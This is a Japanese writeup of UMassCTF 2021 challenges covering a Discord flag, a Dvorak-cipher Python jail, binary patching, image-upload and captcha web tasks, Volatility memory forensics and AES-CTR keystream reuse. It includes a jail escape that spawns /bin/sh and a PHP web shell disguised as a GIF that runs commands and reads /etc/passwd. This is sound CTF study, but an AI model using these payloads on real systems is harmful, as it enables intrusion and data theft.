UMassCTF 2021 Writeup

この大会は2021/3/27 7:00(JST)~2021/3/29 7:00(JST)に開催されました。
今回もチームで参戦。結果は3212点で660チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (misc)

Discordに入り、#welcomeチャネルで鍵アイコンをクリックすると、いろんなチャネルが現れる。#generalチャネルのトピックにフラグが書いてあった。

UMASS{discord_is_better_than_irc_change_my_mind}

ekrpat (misc)

$ nc 34.72.64.224 8083
Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv
>>>

https://uncyclopedia.ca/wiki/Ekrpatを参考に置換する。

C = 'axje.uidchtnmbrl\'poygk,qf;s-wvzAXJE>UIDCHTNMBRL"POYGK<QF:S_WVZ! '
P = 'abcdefghijklmnopqrstuvwxyz;\',./ABCDEFGHIJKLMNOPQRSTUVWXYZ:"<>?! '

ct = 'Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv'
msg = ''.join(P[C.index(c)] for c in ct)
print msg

置換の結果、以下のようになり、pyjailの問題になっているようだ。

You've broken my code! Escape without the help of eval, exec, import, open, os, read, system, and write. First, enter 'dvorak'. You will then get another input which you can use try to break out of the jail.

eval, exec, import, open, os, read, system, writeを使わずに何とかフラグを取得する。

$ nc 34.72.64.224 8083
Frg-k. xprt.b mf jre.! >ojal. ,cydrgy yd. d.nl ru .kanw .q.jw cmlrpyw rl.bw row p.aew ofoy.mw abe ,pcy.v Ucpoyw .by.p -ekrpat-v Frg ,cnn yd.b i.y abryd.p cblgy ,dcjd frg jab go. ypf yr xp.at rgy ru yd. hacnv
>>> dvorak
>>> __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
ls
Dockerfile
ekrpat.py
flag
ojal.
ynetd
cat flag
UMASS{dvorak_rules}
UMASS{dvorak_rules}

easteregg (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  undefined8 uVar2;
  long lVar3;
  long in_FS_OFFSET;
  int local_194;
  char *local_188;
  char *local_180;
  long local_178;
  undefined8 local_170;
  int local_168;
  long local_158 [8];
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = initialize_rooms(local_158);
  if (iVar1 == -1) {
    fwrite("Failed to initialize rooms!\n",1,0x1c,stderr);
    uVar2 = 1;
  }
  else {
    local_188 = (char *)0x0;
    local_180 = (char *)0x0;
    local_178 = local_158[0];
    local_170 = 0;
    local_168 = 0;
    puts(
        "Welcome to Strong Bad\'s Cool Game for Attractive People Episode 6 - Dangeresque 4: TheCriminally-Dull Projective!"
        );
    puts("Okay, you\'re Dangeresque. Nobody do anything... Dangeresque!");
    putchar(10);
    puts("\"Man. That warehaus was full of action and suspense.\"");
    puts("\"Dangeresque! You\'re outta line!\"");
    puts("\"Oh crap! It\'s the chief! I was supposed to solve a case for him months ago.\"");
    puts("\"Better try and \'solve\' his case quick.\"\n");
    describe_room(local_178);
    do {
      printf("a> ");
      fflush(stdout);
      fgets(local_118,0x100,stdin);
      iVar1 = parse_input(local_118,&local_188,&local_188);
      if (iVar1 != 0) {
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      iVar1 = strcmp(local_188,"look");
      if (iVar1 == 0) {
        describe_room();
      }
      else {
        iVar1 = strcmp(local_188,"inventory");
        if (iVar1 == 0) {
          describe_inventory();
        }
        else {
          iVar1 = strcmp(local_188,"go");
          if (iVar1 == 0) {
            if (local_180 == (char *)0x0) {
              puts("Gotta be more specific than that, bud!");
            }
            else {
              iVar1 = strcmp(local_180,"north");
              if (iVar1 == 0) {
                if (*(long *)(local_178 + 0x20) == 0) {
                  puts("Can\'t go that way!");
                }
                else {
                  local_178 = *(long *)(local_178 + 0x20);
                  describe_room();
                }
              }
              else {
                iVar1 = strcmp(local_180,"south");
                if (iVar1 == 0) {
                  if (*(long *)(local_178 + 0x28) == 0) {
                    puts("Can\'t go that way!");
                  }
                  else {
                    local_178 = *(long *)(local_178 + 0x28);
                    describe_room();
                  }
                }
                else {
                  iVar1 = strcmp(local_180,"east");
                  if (iVar1 == 0) {
                    if (*(long *)(local_178 + 0x30) == 0) {
                      puts("Can\'t go that way!");
                    }
                    else {
                      local_178 = *(long *)(local_178 + 0x30);
                      describe_room();
                    }
                  }
                  else {
                    iVar1 = strcmp(local_180,"west");
                    if (iVar1 == 0) {
                      if (*(long *)(local_178 + 0x38) == 0) {
                        puts("Can\'t go that way!");
                      }
                      else {
                        local_178 = *(long *)(local_178 + 0x38);
                        describe_room();
                      }
                    }
                    else {
                      iVar1 = strcmp(local_180,"up");
                      if (iVar1 == 0) {
                        if (*(long *)(local_178 + 0x40) == 0) {
                          puts("Can\'t go that way!");
                        }
                        else {
                          local_178 = *(long *)(local_178 + 0x40);
                          describe_room();
                        }
                      }
                      else {
                        iVar1 = strcmp(local_180,"down");
                        if (iVar1 == 0) {
                          if (*(long *)(local_178 + 0x48) == 0) {
                            puts("Can\'t go that way!");
                          }
                          else {
                            local_178 = *(long *)(local_178 + 0x48);
                            describe_room();
                          }
                        }
                        else {
                          printf("Where the hell is a \"%s\"?\n",local_180);
                        }
                      }
                    }
                  }
                }
              }
            }
          }
          else {
            iVar1 = strcmp(local_188,"take");
            if (iVar1 == 0) {
              lVar3 = take_item(local_178,local_180,local_180);
              if (lVar3 == 0) {
                printf("There\'s no \"%s\" here!\n",local_180);
              }
              else {
                printf("Got the %s!\n",local_180);
                add_to_inventory(&local_178,lVar3,lVar3);
              }
            }
            else {
              iVar1 = strcmp(local_188,"drop");
              if (iVar1 == 0) {
                lVar3 = remove_from_inventory(&local_178,local_180,local_180);
                if (lVar3 == 0) {
                  printf("I ain\'t got no \"%s\"!\n",local_180);
                }
                else {
                  printf("Dropped the %s!\n",local_180);
                  insert_item(local_178,lVar3,lVar3);
                }
              }
              else {
                iVar1 = strcmp(local_188,"use");
                if (iVar1 == 0) {
                  use_item(&local_178,local_180,local_180);
                }
                else {
                  iVar1 = strcmp(local_188,"jhiezetfmvirlnjfbobk");
                  if (iVar1 == 0) {
                    JHIEZETFMVIRLNJFBOBK = 1;
                  }
                  else {
                    printf("I don\'t know how to \"%s\"\n",local_188);
                  }
                }
              }
            }
          }
        }
      }
    } while (local_168 == 0);
    if (JHIEZETFMVIRLNJFBOBK != 0) {
      local_194 = 0;
      while (local_194 < 0x23) {
        putchar((int)(char)(LHEIBZNXEKQSAPHHUWTQ[local_194] ^ COJASZQHPZXKLAPHRHOK[local_194]));
        local_194 = local_194 + 1;
      }
      putchar(10);
    }
    if (local_188 != (char *)0x0) {
      free(local_188);
    }
    if (local_180 != (char *)0x0) {
      free(local_180);
    }
    free_rooms(local_158);
    uVar2 = 0;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

local_168を0以外にしないと、後半のフラグを表示していると推測できるコードを通らない。アセンブリで以下になっているところをバイナリで編集する。

        00101c11 c7 85 a0        MOV        dword ptr [RBP + local_168],0x0
                 fe ff ff 
                 00 00 00 00

                 ↓

        00101c11 c7 85 a0        MOV        dword ptr [RBP + local_168],0x1
                 fe ff ff 
                 01 00 00 00
$ ./adventure_mod
Welcome to Strong Bad's Cool Game for Attractive People Episode 6 - Dangeresque 4: The Criminally-Dull Projective!
Okay, you're Dangeresque. Nobody do anything... Dangeresque!

"Man. That warehaus was full of action and suspense."
"Dangeresque! You're outta line!"
"Oh crap! It's the chief! I was supposed to solve a case for him months ago."
"Better try and 'solve' his case quick."

You are in Dangeresque's Office. This is where the magic happens! 
To the west is Agency Lobby.
There are a few things here:
- room-temperature coffee
- month-old chinese food
- the swissblonkel scenario

    local_168 = 0;

a> jhiezetfmvirlnjfbobk
UMASS{m0m_100k_i_can_r3ad_ass3mb1y}
UMASS{m0m_100k_i_can_r3ad_ass3mb1y}

Hermit - Part 1 (web)

Webページでは画像をアップロードできる。exploit.php.gifに以下を記載し、アップロードしてみる。

GIF87a
<?php

var_dump( exec('ls', $out, $ret) );
print_r( $out );
var_dump( $ret );

?>

その結果、以下が返ってきた。

GIF87a
string(7) "uploads"
Array
(
    [0] => index.php
    [1] => resources
    [2] => show.php
    [3] => upload.php
    [4] => uploads
)
int(0)

コマンドが実行できている。コマンドを変えて、再度アップロードしてみる。

GIF87a
<?php

var_dump( exec('cat /etc/passwd', $out, $ret) );
print_r( $out );
var_dump( $ret );

?>

この場合は、以下の結果になった。

GIF87a
string(40) "hermit:x:1000:1000::/home/hermit:/bin/sh"
Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
    [1] => daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    [2] => bin:x:2:2:bin:/bin:/usr/sbin/nologin
    [3] => sys:x:3:3:sys:/dev:/usr/sbin/nologin
    [4] => sync:x:4:65534:sync:/bin:/bin/sync
    [5] => games:x:5:60:games:/usr/games:/usr/sbin/nologin
    [6] => man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    [7] => lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    [8] => mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    [9] => news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    [10] => uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    [11] => proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    [12] => www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    [13] => backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    [14] => list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    [15] => irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    [16] => gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    [17] => nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    [18] => _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    [19] => systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    [20] => systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    [21] => systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    [22] => messagebus:x:104:106::/nonexistent:/usr/sbin/nologin
    [23] => sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
    [24] => hermit:x:1000:1000::/home/hermit:/bin/sh
)
int(0)

/home/hermitの配下を見てみる。

GIF87a
<?php

var_dump( exec('ls /home/hermit', $out, $ret) );
print_r( $out );
var_dump( $ret );

?>
GIF87a
string(12) "userflag.txt"
Array
(
    [0] => userflag.txt
)
int(0)

/home/hermit/userflag.txtを見る。

GIF87a
<?php

var_dump( exec('cat /home/hermit/userflag.txt', $out, $ret) );
print_r( $out );
var_dump( $ret );

?>
GIF87a
string(41) "UMASS{a_picture_paints_a_thousand_shells}"
Array
(
    [0] => UMASS{a_picture_paints_a_thousand_shells}
)
int(0)
UMASS{a_picture_paints_a_thousand_shells}

PikCha (web)

Pikachuのキャラクター4体?何を答えればよいのかわからないので、とりあえずCookieを見てみる。
Cookieのsessionにはこう書いてある。

eyJhbnN3ZXIiOls1MywxMDcsMzUsMTAwXSwiY29ycmVjdCI6MSwiaW1hZ2UiOiIuL3N0YXRpYy9jaGFsbC1pbWFnZXMvZGhwT2J4Z1BlQy5qcGcifQ.YF55Gg.amSnkfwW4jKEcLnAcuOU4kBJc78
$ echo eyJhbnN3ZXIiOls1MywxMDcsMzUsMTAwXSwiY29ycmVjdCI6MSwiaW1hZ2UiOiIuL3N0YXRpYy9jaGFsbC1pbWFnZXMvZGhwT2J4Z1BlQy5qcGcifQ== | base64 -d
{"answer":[53,107,35,100],"correct":1,"image":"./static/chall-images/dhpObxgPeC.jpg"}

53,107,35,100をスペース区切りで指定すれば、正解としてカウントされた。これを元にスクリプトにして実行する。

import requests

def get_answer(s):
    data = s.split('.')[0]
    while True:
        if len(data) % 4 == 0:
            break
        data += '='
    data = data.decode('base64')
    answer = map(str, eval(data)['answer'])
    answer = ' '.join(answer)
    return answer

url = 'http://104.197.195.221:8084/'

s = requests.Session()

for i in range(501):
    if i == 0:
        r = s.get(url)
    else:
        r = s.post(url, data=payload)
    body = r.text
    print body

    if i == 500:
        break

    session = r.cookies['session']
    answer = get_answer(session)
    print answer

    payload = {'guess': answer}

実行結果は以下の通り。

        :
<!doctype html>
<title>UMassCTF '21 - PikaCha</title>
<link rel="stylesheet" href="/static/style.css">
<nav>


</nav>
<section class="content center">
  <header>

  </header>

  <h1 class="text">PikCha</h1>
  <img src="./static/chall-images/oyBrbSOlnO.jpg" />
  <p>
    498 / 500
  </p>
  <form method='post' action='/'>
    <input type="text" id="guess" name="guess">
    <input type="submit" value="Submit">
  </form>
</section>
49 54 27 99
<!doctype html>
<title>UMassCTF '21 - PikaCha</title>
<link rel="stylesheet" href="/static/style.css">
<nav>


</nav>
<section class="content center">
  <header>

  </header>

  <h1 class="text">PikCha</h1>
  <img src="./static/chall-images/iIziAdeZYY.jpg" />
  <p>
    499 / 500
  </p>
  <form method='post' action='/'>
    <input type="text" id="guess" name="guess">
    <input type="submit" value="Submit">
  </form>
</section>
78 11 142 28
UMASS{G0tt4_c4tch_th3m_4ll_17263548}
UMASS{G0tt4_c4tch_th3m_4ll_17263548}

notes (forensics)

$ volatility -f image.mem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/image.mem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002a3b0a0L
          Number of Processors : 6
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002a3cd00L
                KPCR for CPU 1 : 0xfffff880009f1000L
                KPCR for CPU 2 : 0xfffff88002ea9000L
                KPCR for CPU 3 : 0xfffff88002f1f000L
                KPCR for CPU 4 : 0xfffff88002f95000L
                KPCR for CPU 5 : 0xfffff88002fcb000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-03-20 18:16:12 UTC+0000
     Image local date and time : 2021-03-20 13:16:12 -0500

$ volatility -f image.mem --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa80026287f0:csrss.exe                         656    640     10    394 2021-03-20 18:57:49 UTC+0000
 0xfffffa8001e6e7c0:wininit.exe                       688    640      3     82 2021-03-20 18:57:49 UTC+0000
. 0xfffffa8001e497c0:lsm.exe                          768    688     10    149 2021-03-20 18:57:49 UTC+0000
. 0xfffffa8001ff4b30:services.exe                     744    688      8    205 2021-03-20 18:57:49 UTC+0000
.. 0xfffffa8002455b30:svchost.exe                    1164    744     16    486 2021-03-20 17:57:51 UTC+0000
.. 0xfffffa80022ce680:VBoxService.ex                  928    744     13    146 2021-03-20 18:57:49 UTC+0000
.. 0xfffffa800274eb30:WLIDSVC.EXE                    1572    744      8    257 2021-03-20 17:57:52 UTC+0000
... 0xfffffa8002cc7b30:WLIDSVCM.EXE                   696   1572      3     58 2021-03-20 17:57:53 UTC+0000
.... 0xfffffa8000cae240:csrss.exe                     708    696     10    249 2021-03-20 18:57:49 UTC+0000
.... 0xfffffa8002beb2e0:winlogon.exe                 2004    696      3    116 2021-03-20 17:57:53 UTC+0000
.. 0xfffffa8001f974e0:svchost.exe                     988    744      8    268 2021-03-20 17:57:51 UTC+0000
.. 0xfffffa80023e62d0:svchost.exe                     736    744     17    458 2021-03-20 17:57:51 UTC+0000
... 0xfffffa8002bbeb30:dwm.exe                       2236    736      3     94 2021-03-20 17:57:54 UTC+0000
.. 0xfffffa8002f82590:mscorsvw.exe                   1724    744      7     87 2021-03-20 17:59:53 UTC+0000
.. 0xfffffa800273d060:svchost.exe                    1480    744     16    310 2021-03-20 17:57:52 UTC+0000
.. 0xfffffa8002623b30:spoolsv.exe                    1356    744     12    311 2021-03-20 17:57:52 UTC+0000
.. 0xfffffa8000de7b30:mscorsvw.exe                   2104    744      7     92 2021-03-20 17:59:53 UTC+0000
.. 0xfffffa8001e9d060:svchost.exe                     604    744     20    476 2021-03-20 17:57:51 UTC+0000
.. 0xfffffa8002b7a910:SearchIndexer.                 1888    744     14    673 2021-03-20 17:57:52 UTC+0000
... 0xfffffa8002773090:SearchProtocol                3292   1888      8    284 2021-03-20 18:15:53 UTC+0000
... 0xfffffa800213e4e0:SearchFilterHo                1740   1888      5    103 2021-03-20 18:15:53 UTC+0000
.. 0xfffffa8002195b30:svchost.exe                     868    744     10    371 2021-03-20 18:57:49 UTC+0000
.. 0xfffffa8002da5060:taskhost.exe                   2156    744      8    152 2021-03-20 17:57:53 UTC+0000
.. 0xfffffa8002605890:svchost.exe                    1264    744     16    426 2021-03-20 17:57:52 UTC+0000
.. 0xfffffa8001f55890:svchost.exe                    1384    744     17    317 2021-03-20 17:57:52 UTC+0000
.. 0xfffffa80023eab30:svchost.exe                     980    744     27    791 2021-03-20 17:57:51 UTC+0000
.. 0xfffffa8002de2b30:wmpnetwk.exe                   2736    744      9    219 2021-03-20 17:58:00 UTC+0000
. 0xfffffa80020ecb30:lsass.exe                        760    688      9    564 2021-03-20 18:57:49 UTC+0000
 0xfffffa8002818060:explorer.exe                     2288   2216     27    898 2021-03-20 17:57:54 UTC+0000
. 0xfffffa8002e1db30:VBoxTray.exe                    2432   2288     15    156 2021-03-20 17:57:54 UTC+0000
. 0xfffffa8000dd0060:notepad.exe                     2696   2288      4    309 2021-03-20 17:59:34 UTC+0000
 0xfffffa8000ca0040:System                              4      0    173    526 2021-03-20 18:57:47 UTC+0000
. 0xfffffa8002232b30:smss.exe                         572      4      3     34 2021-03-20 18:57:47 UTC+0000
 0xfffffa80010cc460:FTK Imager.exe                   1552   2708     17    429 2021-03-20 17:59:24 UTC+0000

$ volatility -f image.mem --profile=Win7SP1x64 filescan | grep password
Volatility Foundation Volatility Framework 2.6
0x000000003fdccf20     16      0 RW-rw- \Device\HarddiskVolume2\Users\user\Desktop\passwords.txt

$ volatility -f image.mem --profile=Win7SP1x64 dumpfiles -D . -Q 0x000000003fdccf20
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3fdccf20   None   \Device\HarddiskVolume2\Users\user\Desktop\passwords.txt

$ cat file.None.0xfffffa800104c4d0.dat 
VU1BU1N7JDNDVVIzXyQ3MFJhZzN9Cg==

$ echo VU1BU1N7JDNDVVIzXyQ3MFJhZzN9Cg== | base64 -d
UMASS{$3CUR3_$70Rag3}
UMASS{$3CUR3_$70Rag3}

malware (crypto)

各ファイルがAES-CTRモードで暗号化されている。ファイルごとに順にivが1ずつカウンターがアップしながら暗号化している。
1ブロックごとにXOR鍵がずれているだけなので、そのことを考慮して復号する。ファイルの順番がわからないので、適当にずらしながら、復号する。

from Crypto.Util.strxor import strxor

with open('malware.py', 'rb') as f:
    pt = f.read()

with open('malware.py.enc', 'rb') as f:
    ct = f.read()

with open('flag.txt.enc', 'rb') as f:
    flag_enc = f.read()

key = strxor(pt, ct)

for i in range(1, 4):
    flag = strxor(key[16*i:16*i+len(flag_enc)], flag_enc)
    if flag.startswith('UMASS'):
        print flag
        break
UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0}